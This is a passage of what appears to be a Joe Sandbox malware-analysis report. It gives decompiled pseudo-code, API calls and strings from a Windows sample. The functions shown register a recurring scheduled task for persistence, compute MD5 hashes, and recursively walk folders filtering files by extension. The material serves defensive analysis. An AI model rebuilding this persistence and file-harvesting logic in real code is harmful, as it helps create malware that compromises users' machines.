																															 *((intOrPtr*)( *_t386 + 8))(_t386);
																															goto L73;
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								} else {
									_t388 = _v24;
									 *((intOrPtr*)( *_t388 + 8))(_t388);
									__imp__CoUninitialize();
									_t395 = 0;
								}
							} else {
								_t390 = _v32;
								 *((intOrPtr*)( *_t390 + 8))(_t390);
								__imp__CoUninitialize();
								_t395 = 0;
							}
						} else {
							_t392 = _v32;
							 *((intOrPtr*)( *_t392 + 8))(_t392);
							__imp__CoUninitialize();
							_t395 = 0;
						}
					}
					__eflags = _v100 - 8;
					if(_v100 >= 8) {
						L00422587(_v120);
						_t544 = _t544 + 4;
					}
					__eflags = 0;
					_v100 = 7;
					_v104 = 0;
					_v120 = 0;
				} else {
					_t395 = 0;
				}
				if(_a24 >= 8) {
					L00422587(_a4);
				}
				 *[fs:0x0] = _v16;
				return _t395;
			}

0x0040d24a
0x0040d251
0x0040d258
0x0040d261
0x0040d265
0x0040d26c
0x0040d274
0x0040d28f
0x0040d297
0x0040d2a1
0x0040d2ab
0x0040d2b3
0x0040d2b8
0x0040d2bb
0x0040d2ce
0x0040d2d5
0x0040d2db
0x0040d2dd
0x0040da3c
0x0040da3c
0x0040da42
0x0040d2e3
0x0040d2e3
0x0040d2f0
0x0040d2f2
0x0040d301
0x0040d309
0x0040d30b
0x0040d31a
0x0040d322
0x0040d324
0x0040d333
0x0040d33b
0x0040d33d
0x0040d344
0x0040d34c
0x0040d356
0x0040d35f
0x0040d367
0x0040d36d
0x0040d370
0x0040d378
0x0040d37e
0x0040d387
0x0040d38b
0x0040d397
0x0040d3a4
0x0040d3b1
0x0040d3bd
0x0040d3c2
0x0040d3c8
0x0040d3ca
0x0040d3ea
0x0040d3f1
0x0040d3f6
0x0040d3fa
0x0040d3fc
0x0040d3fe
0x0040d404
0x0040d404
0x0040d400
0x0040d400
0x0040d400
0x0040d406
0x0040d411
0x0040d417
0x0040d41d
0x0040d422
0x0040d424
0x0040d444
0x0040d449
0x0040d44d
0x0040d44f
0x0040d451
0x0040d457
0x0040d457
0x0040d453
0x0040d453
0x0040d453
0x0040d459
0x0040d462
0x0040d468
0x0040d46c
0x0040d471
0x0040d478
0x0040d484
0x0040d487
0x0040d48f
0x0040d492
0x0040d494
0x0040d4ac
0x0040d4b2
0x0040d4c0
0x0040d4c2
0x0040da2a
0x0040da2a
0x0040da30
0x0040da33
0x0040da39
0x00000000
0x0040d4c8
0x0040d4d0
0x0040d4d5
0x0040d4d9
0x0040d4db
0x0040d4dd
0x0040d4e3
0x0040d4e3
0x0040d4df
0x0040d4df
0x0040d4df
0x0040d4e5
0x0040d4ec
0x0040d4f2
0x0040d4f8
0x0040d4fd
0x0040d503
0x0040d506
0x0040d508
0x00000000
0x0040d50e
0x0040d50e
0x0040d514
0x0040d51f
0x0040d522
0x0040d524
0x00000000
0x0040d52a
0x0040d52a
0x0040d532
0x0040d535
0x0040d53d
0x0040d540
0x0040d542
0x00000000
0x0040d548
0x0040d548
0x0040d54e
0x0040d559
0x0040d55c
0x0040d55e
0x00000000
0x0040d564
0x0040d564
0x0040d56c
0x0040d56f
0x0040d577
0x0040d57a
0x0040d57c
0x00000000
0x0040d582
0x0040d582
0x0040d588
0x0040d599
0x0040d59b
0x00000000
0x0040d5a1
0x0040d5a9
0x0040d5ae
0x0040d5b2
0x0040d5b4
0x0040d5b6
0x0040d5bc
0x0040d5bc
0x0040d5b8
0x0040d5b8
0x0040d5b8
0x0040d5be
0x0040d5c5
0x0040d5cb
0x0040d5d1
0x0040d5d6
0x0040d5dc
0x0040d5df
0x0040d5e1
0x00000000
0x0040d5e7
0x0040d5e7
0x0040d5ed
0x0040d5f8
0x0040d5fb
0x0040d5fd
0x00000000
0x0040d603
0x0040d603
0x0040d60a
0x0040d616
0x0040d619
0x0040d621
0x0040d624
0x0040d626
0x00000000
0x0040d62c
0x0040d62c
0x0040d633
0x0040d642
0x0040d644
0x0040d64c
0x0040d64f
0x0040d651
0x00000000
0x0040d657
0x0040d657
0x0040d664
0x0040d666
0x00000000
0x0040d66c
0x0040d674
0x0040d679
0x0040d67d
0x0040d67f
0x0040d681
0x0040d687
0x0040d687
0x0040d683
0x0040d683
0x0040d683
0x0040d689
0x0040d690
0x0040d696
0x0040d69c
0x0040d6a1
0x0040d6a3
0x00000000
0x0040d6a9
0x0040d6b1
0x0040d6b6
0x0040d6ba
0x0040d6bc
0x0040d6be
0x0040d6c4
0x0040d6c4
0x0040d6c0
0x0040d6c0
0x0040d6c0
0x0040d6c6
0x0040d6cd
0x0040d6d3
0x0040d6d9
0x0040d6de
0x0040d6e0
0x00000000
0x0040d6e6
0x0040d6e6
0x0040d6f2
0x0040d6f4
0x00000000
0x0040d6fa
0x0040d702
0x0040d707
0x0040d70b
0x0040d70d
0x0040d70f
0x0040d715
0x0040d715
0x0040d711
0x0040d711
0x0040d711
0x0040d717
0x0040d71e
0x0040d724
0x0040d72a
0x0040d72f
0x0040d731
0x00000000
0x0040d737
0x0040d73f
0x0040d744
0x0040d748
0x0040d74a
0x0040d74c
0x0040d752
0x0040d752
0x0040d74e
0x0040d74e
0x0040d74e
0x0040d754
0x0040d75b
0x0040d761
0x0040d767
0x0040d76c
0x0040d76e
0x00000000
0x0040d774
0x0040d778
0x0040d77f
0x0040d780
0x0040d787
0x0040d79e
0x0040d7a9
0x0040d7b0
0x0040d7be
0x0040d7c3
0x0040d7c6
0x0040d7ca
0x0040d7ce
0x0040d7d0
0x0040d7d0
0x0040d7d6
0x0040d7db
0x0040d7df
0x0040d7e1
0x0040d7e3
0x0040d7e9
0x0040d7e9
0x0040d7e5
0x0040d7e5
0x0040d7e5
0x0040d7eb
0x0040d7f2
0x0040d7fa
0x0040d805
0x0040d809
0x0040d80e
0x0040d814
0x0040d817
0x0040d819
0x00000000
0x0040d81f
0x0040d81f
0x0040d825
0x0040d830
0x0040d833
0x0040d835
0x00000000
0x0040d83b
0x0040d83b
0x0040d842
0x0040d84e
0x0040d851
0x0040d859
0x0040d85c
0x0040d85e
0x00000000
0x0040d864
0x0040d864
0x0040d86b
0x0040d87a
0x0040d87c
0x0040d884
0x0040d887
0x0040d889
0x00000000
0x0040d88f
0x0040d88f
0x0040d899
0x0040d89e
0x0040d8a3
0x0040d8a7
0x0040d8a9
0x0040d8ab
0x0040d8b1
0x0040d8b1
0x0040d8ad
0x0040d8ad
0x0040d8ad
0x0040d8b3
0x0040d8ba
0x0040d8c0
0x0040d8c6
0x0040d8cb
0x0040d8cd
0x0040d8e5
0x0040d8ea
0x0040d8ee
0x0040d8f0
0x0040d8f2
0x0040d8f8
0x0040d8f8
0x0040d8f4
0x0040d8f4
0x0040d8f4
0x0040d8fa
0x0040d901
0x0040d907
0x0040d90b
0x0040d90d
0x0040d912
0x0040d918
0x0040d91b
0x0040d91d
0x00000000
0x0040d923
0x0040d92a
0x0040d931
0x0040d936
0x0040d941
0x0040d949
0x0040d94b
0x0040d95a
0x0040d962
0x0040d964
0x0040d96b
0x0040d978
0x0040d980
0x0040d985
0x0040d989
0x0040d98b
0x0040d98d
0x0040d993
0x0040d993
0x0040d98f
0x0040d98f
0x0040d98f
0x0040d995
0x0040d99d
0x0040d9b0
0x0040d9b6
0x0040d9b9
0x0040d9c1
0x0040d9c7
0x0040d9d4
0x0040d9e0
0x0040d9e2
0x0040d9e7
0x0040d9f4
0x0040d9fd
0x0040da05
0x0040da0a
0x0040da0c
0x0040da0e
0x0040da46
0x0040da4c
0x0040da4f
0x0040da55
0x0040da58
0x0040da5e
0x0040da61
0x0040da67
0x0040da10
0x0040da22
0x0040da27
0x00000000
0x0040da27
0x0040da0e
0x0040d8cf
0x0040d8cf
0x0040d8d5
0x00000000
0x0040d8d5
0x0040d8cd
0x0040d889
0x0040d85e
0x0040d835
0x0040d819
0x0040d76e
0x0040d731
0x0040d6f4
0x0040d6e0
0x0040d6a3
0x0040d666
0x0040d651
0x0040d626
0x0040d5fd
0x0040d5e1
0x0040d59b
0x0040d57c
0x0040d55e
0x0040d542
0x0040d524
0x0040d508
0x0040d496
0x0040d496
0x0040d49c
0x0040d49f
0x0040d4a5
0x0040d4a5
0x0040d426
0x0040d426
0x0040d42c
0x0040d42f
0x0040d435
0x0040d435
0x0040d3cc
0x0040d3cc
0x0040d3d2
0x0040d3d5
0x0040d3db
0x0040d3db
0x0040d3ca
0x0040da69
0x0040da6d
0x0040da72
0x0040da77
0x0040da77
0x0040da7a
0x0040da7c
0x0040da83
0x0040da8a
0x0040d276
0x0040d276
0x0040d276
0x0040da92
0x0040da97
0x0040da9c
0x0040daa6
0x0040dab1

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
PT5M, xrefs: 0040D5A1, 0040D66C
Author Name, xrefs: 0040D4C8
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
--Task, xrefs: 0040D8DD
Time Trigger Task, xrefs: 0040D43C, 0040D973
Trigger1, xrefs: 0040D6FA
2030-05-02T08:00:00, xrefs: 0040D737

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149
encryptionstringCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00410FC0(CHAR* __ecx, CHAR** __edx) {
				int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				int _v28;
				long* _v32;
				int _v36;
				char _v40;
				char _v44;
				int _v48;
				char _v52;
				char _v56;
				char _v68;
				void* __ebx;
				void* __edi;
				long** _t40;
				int* _t41;
				int _t42;
				char _t44;
				char _t50;
				void* _t72;
				CHAR** _t73;
				void* _t80;
				int _t81;
				void* _t83;
				CHAR* _t84;
				intOrPtr* _t85;
				void* _t87;
				intOrPtr _t89;
				intOrPtr _t90;
				void* _t92;
				void* _t93;

				_t79 = __edx;
				 *[fs:0x0] = _t89;
				_t90 = _t89 - 0x34;
				_v20 = _t90;
				_t40 =  &_v32;
				_t73 = __edx;
				_v32 = 0;
				_t84 = __ecx;
				_v28 = 0;
				_v36 = 0;
				_v8 = 0;
				__imp__CryptAcquireContextW(_t40, 0, 0, 1, 0xf0000000, _t80, _t83, _t72,  *[fs:0x0], 0x4cabe0, 0xffffffff);
				if(_t40 == 0) {
					_v40 = _t40;
					E00430ECA( &_v40, 0x5085b8);
				}
				_t41 =  &_v28;
				__imp__CryptCreateHash(_v32, 0x8003, 0, 0, _t41);
				if(_t41 == 0) {
					_v44 = _t41;
					E00430ECA( &_v44, 0x5085b8);
				}
				_t42 = lstrlenA(_t84);
				__imp__CryptHashData(_v28, _t84, _t42, 0);
				if(_t42 == 0) {
					_v48 = _t42;
					E00430ECA( &_v48, 0x5085b8);
				}
				_t85 = __imp__CryptGetHashParam;
				_v24 = 0;
				_t44 =  *_t85(_v28, 2, 0,  &_v24, 0);
				_t98 = _t44;
				if(_t44 == 0) {
					_v52 = _t44;
					E00430ECA( &_v52, 0x5085b8);
				}
				_t81 = E00420BE4(_t73, _t80, _t98, _v24 + 1);
				_v36 = _t81;
				E0042B420(_t81, 0, _v24 + 1);
				_t92 = _t90 + 0x10;
				_t50 =  *_t85(_v28, 2, _t81,  &_v24, 0);
				if(_t50 == 0) {
					_v56 = _t50;
					E00430ECA( &_v56, 0x5085b8);
				}
				 *_t73 = E00420C62(_t73, _t79, _t81, 0x14 + _v24 * 2);
				E0042B420(_t52, 0, 0x14 + _v24 * 2);
				_t87 = 0;
				_t93 = _t92 + 0x10;
				if(_v24 > 0) {
					do {
						E004204A6( &_v68, "%.2X",  *(_t87 + _t81) & 0x000000ff);
						_t93 = _t93 + 0xc;
						lstrcatA( *_t73,  &_v68);
						_t87 = _t87 + 1;
					} while (_t87 < _v24);
				}
				E00422110(_t81);
				__imp__CryptDestroyHash(_v28);
				CryptReleaseContext(_v32, 0);
				 *[fs:0x0] = _v16;
				return 1;
			}

0x00410fc0
0x00410fd1
0x00410fd8
0x00410fde
0x00410fe1
0x00410ff0
0x00410ff2
0x00410ff9
0x00410ffb
0x00411002
0x00411009
0x00411010
0x00411018
0x0041101a
0x00411026
0x00411026
0x0041102b
0x0041103b
0x00411043
0x00411045
0x00411051
0x00411051
0x00411059
0x00411064
0x0041106c
0x0041106e
0x0041107a
0x0041107a
0x0041107f
0x00411092
0x00411099
0x0041109b
0x0041109d
0x0041109f
0x004110ab
0x004110ab
0x004110c1
0x004110c3
0x004110ca
0x004110cf
0x004110de
0x004110e2
0x004110e4
0x004110f0
0x004110f0
0x00411109
0x0041110b
0x00411110
0x00411112
0x00411118
0x00411120
0x0041112e
0x00411133
0x0041113c
0x00411142
0x00411143
0x00411120
0x00411149
0x00411154
0x0041115f
0x0041116a
0x00411177

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 6f04bcb1d5af6720d81330ba6d25d2fff10d0e34b425382de5d36dfe67944e00
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 6f04bcb1d5af6720d81330ba6d25d2fff10d0e34b425382de5d36dfe67944e00
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95
stringmemorywindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411900(WCHAR* __ecx, long __edx, WCHAR* _a4) {
				short _v8;
				WCHAR* _v12;
				short _v2060;
				int _t15;
				long _t36;
				void* _t44;
				WCHAR* _t48;

				_t36 = __edx;
				_v12 = __ecx;
				if(__edx == 0) {
					_t36 = GetLastError();
				}
				FormatMessageW(0x1300, 0, _t36, 0x400,  &_v8, 0, 0);
				_t15 = lstrlenW(_v8);
				_t44 = LocalAlloc(0x40, 0x50 + (_t15 + lstrlenW(_v12)) * 2);
				lstrcpyW(_t44, _v12);
				lstrcatW(_t44, L" failed with error ");
				E00412AC0(_t36,  &_v2060);
				lstrcatW(_t44,  &_v2060);
				lstrcatW(_t44, L": ");
				lstrcatW(_t44, _v8);
				_t48 = _a4;
				if(_t48 == 0) {
					MessageBoxW(0, _t44, 0, 0);
				} else {
					if(lstrlenW(_t44) < 0x400) {
						lstrcpynW(_t48, _t44, 0x400);
						E00412BA0(_t48);
					} else {
						E0042B420(_t48, 0, 0x800);
						E0042D8D0(_t48, _t44, 0x7fe);
						E00412BA0(_t48);
					}
				}
				LocalFree(_v8);
				return LocalFree(_t44);
			}

0x0041190a
0x0041190c
0x00411913
0x0041191b
0x0041191b
0x00411932
0x00411941
0x0041195f
0x00411962
0x00411974
0x0041197e
0x0041198b
0x00411993
0x00411999
0x0041199b
0x004119a0
0x004119f2
0x004119a2
0x004119ae
0x004119dc
0x004119e4
0x004119b0
0x004119b8
0x004119c4
0x004119ce
0x004119ce
0x004119ae
0x00411a01
0x00411a0c

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32 ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732
COMMONCrypto

Download Yara Rule

C-Code - Quality: 78%

			E0040F730(intOrPtr __ecx, signed int __edx, char _a4, intOrPtr _a24, intOrPtr _a28, char _a32) {
				signed int _v8;
				intOrPtr _v16;
				char _v17;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				char _v48;
				void* _v52;
				intOrPtr _v56;
				signed int _v60;
				signed int _v64;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				WCHAR* _v92;
				short _v104;
				signed int _v108;
				signed int _v112;
				char _v128;
				signed int _v132;
				signed int _v136;
				short _v152;
				char _v156;
				signed int _v160;
				signed int _v164;
				short _v180;
				intOrPtr _v184;
				char _v204;
				struct _WIN32_FIND_DATAW _v796;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t305;
				intOrPtr _t315;
				WCHAR* _t322;
				void* _t323;
				void* _t326;
				signed int _t330;
				signed int _t331;
				int _t333;
				signed int _t335;
				signed int _t336;
				intOrPtr _t340;
				intOrPtr _t346;
				intOrPtr* _t348;
				void* _t349;
				void* _t352;
				intOrPtr* _t354;
				void* _t355;
				intOrPtr* _t356;
				void* _t357;
				void* _t374;
				signed int _t380;
				WCHAR* _t381;
				WCHAR* _t392;
				WCHAR* _t394;
				void* _t451;
				void* _t457;
				signed int _t458;
				signed int _t460;
				WCHAR* _t461;
				intOrPtr _t462;
				intOrPtr _t463;
				void* _t464;
				intOrPtr* _t467;
				signed int _t469;
				intOrPtr* _t472;
				signed int _t474;
				char* _t481;
				char* _t482;
				intOrPtr* _t484;
				signed int _t486;
				intOrPtr* _t488;
				short* _t494;
				signed int _t497;
				signed int _t500;
				WCHAR* _t501;
				short* _t502;
				signed int _t507;
				intOrPtr* _t515;
				void* _t517;
				void* _t518;
				void* _t519;
				intOrPtr _t523;
				intOrPtr _t524;
				signed int _t525;
				signed int _t528;
				WCHAR* _t529;
				intOrPtr _t531;
				void* _t537;
				signed int* _t538;
				void* _t540;
				intOrPtr* _t541;
				intOrPtr* _t542;
				WCHAR* _t543;
				short _t544;
				intOrPtr _t545;
				void* _t546;
				void* _t547;
				short* _t549;
				void* _t550;
				short* _t551;

				_push(0xffffffff);
				_push(0x4cab09);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t545;
				_t546 = _t545 - 0x30c;
				_t456 = __edx;
				_v56 = __ecx;
				_v24 = __edx;
				_v8 = 0;
				E00411AB0();
				_t528 = 0;
				_t537 = (0x2aaaaaab * ( *((intOrPtr*)(__edx + 4)) -  *__edx) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * ( *((intOrPtr*)(__edx + 4)) -  *__edx) >> 0x20 >> 2);
				_v52 = _t537;
				if(_t537 == 0) {
					L15:
					_v108 = 7;
					_v112 = 0;
					_v128 = 0;
					_v8 = 3;
					_push(0xffffffff);
					_v64 = 0;
					_v80 = 0;
					_v60 = 7;
					E00414690(_t456,  &_v80,  &_a4, 0);
					_v8 = 4;
					_t457 = PathFindFileNameW;
					_t302 =  >=  ? _v80 :  &_v80;
					_t515 = PathFindFileNameW( >=  ? _v80 :  &_v80);
					_v132 = 7;
					_v136 = 0;
					_v152 = 0;
					if( *_t515 != 0) {
						_t467 = _t515;
						_t77 = _t467 + 2; // 0x2
						_t537 = _t77;
						do {
							_t305 =  *_t467;
							_t467 = _t467 + 2;
						} while (_t305 != 0);
						_t469 = _t467 - _t537 >> 1;
						goto L24;
					} else {
						_t469 = 0;
						L24:
						_push(_t469);
						E00415C10(_t457,  &_v152, _t528, _t537, _t515);
						_v8 = 5;
						_t538 = E00413520( &_v80,  &_v48, 0, _v64 - _v136);
						if( &_v80 != _t538) {
							if(_v60 >= 8) {
								L00422587(_v80);
								_t546 = _t546 + 4;
							}
							_v60 = 7;
							_v64 = 0;
							_v80 = 0;
							if(_t538[5] >= 8) {
								_v80 =  *_t538;
								 *_t538 = 0;
							} else {
								_t430 = _t538[4] + 1;
								if(_t538[4] + 1 != 0) {
									E004205A0( &_v80, _t538, _t430 + _t430);
									_t546 = _t546 + 0xc;
								}
							}
							_v64 = _t538[4];
							_v60 = _t538[5];
							_t538[5] = 7;
							_t538[4] = 0;
							 *_t538 = 0;
						}
						if(_v28 >= 8) {
							L00422587(_v48);
							_t546 = _t546 + 4;
						}
						_t529 = 0;
						while(_v64 != 0 || _v136 != 0) {
							_t529 =  &(_t529[0]);
							_t313 =  >=  ? _v80 :  &_v80;
							_t515 = PathFindFileNameW( >=  ? _v80 :  &_v80);
							if( *_t515 != 0) {
								_t472 = _t515;
								_t107 = _t472 + 2; // 0x2
								_t538 = _t107;
								do {
									_t315 =  *_t472;
									_t472 = _t472 + 2;
								} while (_t315 != 0);
								_t474 = _t472 - _t538 >> 1;
								L42:
								_push(_t474);
								E00415C10(_t457,  &_v152, _t529, _t538, _t515);
								_t538 = E00413520( &_v80,  &_v48, 0, _v64 - _v136);
								if( &_v80 != _t538) {
									if(_v60 >= 8) {
										L00422587(_v80);
										_t546 = _t546 + 4;
									}
									_v60 = 7;
									_v64 = 0;
									_v80 = 0;
									if(_t538[5] >= 8) {
										_v80 =  *_t538;
										 *_t538 = 0;
									} else {
										_t418 = _t538[4] + 1;
										if(_t538[4] + 1 != 0) {
											E004205A0( &_v80, _t538, _t418 + _t418);
											_t546 = _t546 + 0xc;
										}
									}
									_v64 = _t538[4];
									_v60 = _t538[5];
									_t538[5] = 7;
									_t538[4] = 0;
									 *_t538 = 0;
								}
								if(_v28 >= 8) {
									L00422587(_v48);
									_t546 = _t546 + 4;
								}
								continue;
							}
							_t474 = 0;
							goto L42;
						}
						if(_t529 > 3) {
							L73:
							_t322 = E00417140( &_v104,  &_a4, "*");
							_t547 = _t546 + 4;
							if(_t322[0xa] >= 8) {
								_t322 =  *_t322;
							}
							_t323 = FindFirstFileW(_t322,  &_v796);
							_v52 = _t323;
							if(_v84 >= 8) {
								L00422587(_v104);
								_t323 = _v52;
								_t547 = _t547 + 4;
							}
							_v84 = 7;
							_t458 = 0;
							_v88 = 0;
							_v104 = 0;
							_v24 = 0;
							if(_t323 == 0xffffffff) {
								L139:
								if(_v132 >= 8) {
									L00422587(_v152);
									_t547 = _t547 + 4;
								}
								_v132 = 7;
								_v136 = 0;
								_v152 = 0;
								if(_v60 >= 8) {
									L00422587(_v80);
									_t547 = _t547 + 4;
								}
								_v60 = 7;
								_v64 = 0;
								_v80 = 0;
								if(_v108 >= 8) {
									L00422587(_v128);
									_t547 = _t547 + 4;
								}
								_t326 = 0;
								_v108 = 7;
								_v112 = 0;
								_v128 = 0;
								goto L146;
							} else {
								_t540 = _v52;
								do {
									_t481 = ".";
									_t330 =  &(_v796.cFileName);
									while(1) {
										_t517 =  *_t330;
										if(_t517 !=  *_t481) {
											break;
										}
										if(_t517 == 0) {
											L84:
											_t331 = 0;
											L86:
											if(_t331 == 0) {
												goto L137;
											}
											_t482 = L"..";
											_t335 =  &(_v796.cFileName);
											while(1) {
												_t518 =  *_t335;
												if(_t518 !=  *_t482) {
													break;
												}
												if(_t518 == 0) {
													L92:
													_t336 = 0;
													L94:
													if(_t336 == 0) {
														goto L137;
													}
													if((_v796.dwFileAttributes & 0x00000010) == 0) {
														_t460 = _t458 + 1;
														_v24 = _t460;
														if(_t460 >= 0x400) {
															_v24 = 0;
															E00411AB0();
														}
														if(_a32 == 0) {
															goto L137;
														} else {
															_v28 = 7;
															_push(0xffffffff);
															_v48 = 0;
															_v32 = 0;
															E00414690(_t460,  &_v48,  &_a4, 0);
															_v8 = 9;
															if(_v796.cFileName != 0) {
																_t484 =  &(_v796.cFileName);
																_t241 = _t484 + 2; // 0x2
																_t519 = _t241;
																do {
																	_t340 =  *_t484;
																	_t484 = _t484 + 2;
																} while (_t340 != 0);
																_t486 = _t484 - _t519 >> 1;
																L108:
																_push(_t486);
																_t487 =  &_v48;
																E00415AE0(_t460,  &_v48, _t529, _t540,  &(_v796.cFileName));
																_t344 =  >=  ? _v48 :  &_v48;
																_t461 = PathFindExtensionW( >=  ? _v48 :  &_v48);
																_v17 = 0;
																_t346 = _v56;
																_t541 =  *((intOrPtr*)(_t346 + 0x88c));
																_t531 =  *((intOrPtr*)(_t346 + 0x890));
																if(_t541 == _t531) {
																	L118:
																	_t542 =  *((intOrPtr*)(_t346 + 0x898));
																	_t529 =  *(_t346 + 0x89c);
																	if(_t542 == _t529) {
																		L126:
																		if(_v17 == 0) {
																			_t348 = _t346 + 0x868;
																			if( *((intOrPtr*)(_t348 + 0x14)) >= 8) {
																				_t348 =  *_t348;
																			}
																			_push(_t461);
																			_push(_t348);
																			_t349 = E00421C02(_t487);
																			_t547 = _t547 + 8;
																			if(_t349 == 0) {
